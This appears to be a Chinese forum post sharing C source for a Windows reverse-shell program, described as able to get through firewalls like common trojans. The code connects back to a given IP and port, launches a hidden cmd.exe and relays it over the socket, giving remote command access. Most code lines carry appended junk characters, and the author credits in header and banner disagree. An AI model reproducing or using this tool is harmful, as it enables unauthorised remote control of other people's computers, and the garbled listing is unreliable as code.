这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^j]_MiA4
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/* ============================== B\Uocn
Rebound port in Windows NT lL"ANlX-P
By wind,2006/7 V?&P).5)
===============================*/ g[$4a4X
#include G-eSHv
#include ndS8p]P&o(
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#pragma comment(lib,"wsock32.lib") 6 U_P
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void OutputShell(); @^Yr=d ba
SOCKET sClient; 3{9d5p|\i
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }va>jfy
3 @%XR8ss
void main(int argc,char **argv) <d~si^*\ch
{ ?tx."MZ
WSADATA stWsaData; y7|
3]>Z
int nRet; S pk8u4
SOCKADDR_IN stSaiClient,stSaiServer; xq<X:\O
lb\VQZp!y
if(argc != 3) 4Be\5Byr
{ DhD^w;f]
printf("Useage:\n\rRebound DestIP DestPort\n"); D";@)\jN
return; ^]MLEr!S
} 'wni.E&
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WSAStartup(MAKEWORD(2,2),&stWsaData); fi [4F
%jn)=;\
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u7lO2C7
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stSaiClient.sin_family = AF_INET; $rm/{i_7
stSaiClient.sin_port = htons(0); D|$Fw5!^k6
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); KZ@'NnQ
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) VG|FjD
{ @7K(_Wd
printf("Bind Socket Failed!\n"); ;@xlrj+
return; '8=/v*j>?
} :*Y2na)qQ
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stSaiServer.sin_family = AF_INET; sW@_' Lw
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %"^8$A?>,k
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); e%C_>
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) iTVZo?lVo
{ H{hzw&dZ<P
printf("Connect Error!"); YO9;NA{sH
return; _$i)bJ
} v1z
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OutputShell(); %rJ'DPs
} GA;h7
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void OutputShell() ;OZl'
. %`
{ \3`r/,wY
char szBuff[1024]; 33g$mUB
SECURITY_ATTRIBUTES stSecurityAttributes; Lg{M<Q)4
OSVERSIONINFO stOsversionInfo; \P7<q,OGS
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; hkMVA
STARTUPINFO stStartupInfo; yMXf&$C
char *szShell; 1>Q4&1Vn
PROCESS_INFORMATION stProcessInformation; Ll.P>LH
unsigned long lBytesRead; N-W>tng_x
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _!,Ees=b
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (eSsx/
stSecurityAttributes.lpSecurityDescriptor = 0; 6V*,nocL_+
stSecurityAttributes.bInheritHandle = TRUE; SEVB.;
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tAsap}(
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); U7Oa
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); DLuaM?7
)qe
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); {@6:kkd
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -Aojk8tc
stStartupInfo.wShowWindow = SW_HIDE; #nw+U+qL
stStartupInfo.hStdInput = hReadPipe; =#=}|Q}
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %%NT m
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GetVersionEx(&stOsversionInfo); }x+6<Rp'E_
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switch(stOsversionInfo.dwPlatformId) f;AI4:#I
{ Ho =vdB
case 1: h,n}=g+?
szShell = "command.com"; V~p01f"J
break; `mA;1S
default: D|ra ;d
szShell = "cmd.exe"; 9p{n7.
break; iD*Hh-
} \Y>b#*m(4
Q6D>(H#"0
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >]8(3&zd
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send(sClient,szMsg,77,0); HNCu:$Wr@
while(1) T*%rhnTv0
{ mP Hto-=fB
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); FSm.o?>
if(lBytesRead) +80bG(I_
{ a"Xh
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); DP0@x+`k
send(sClient,szBuff,lBytesRead,0); 4\5i}MIS0
} 5:jme$BI
else T0Xm}i
{ ar#73f
lBytesRead=recv(sClient,szBuff,1024,0); @6|<c
if(lBytesRead<=0) break; BGxwPJd
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *hru);OJr
} DxwR&S{
} n~]"sTC}&
wU>Fz*
return; &a=78Z
}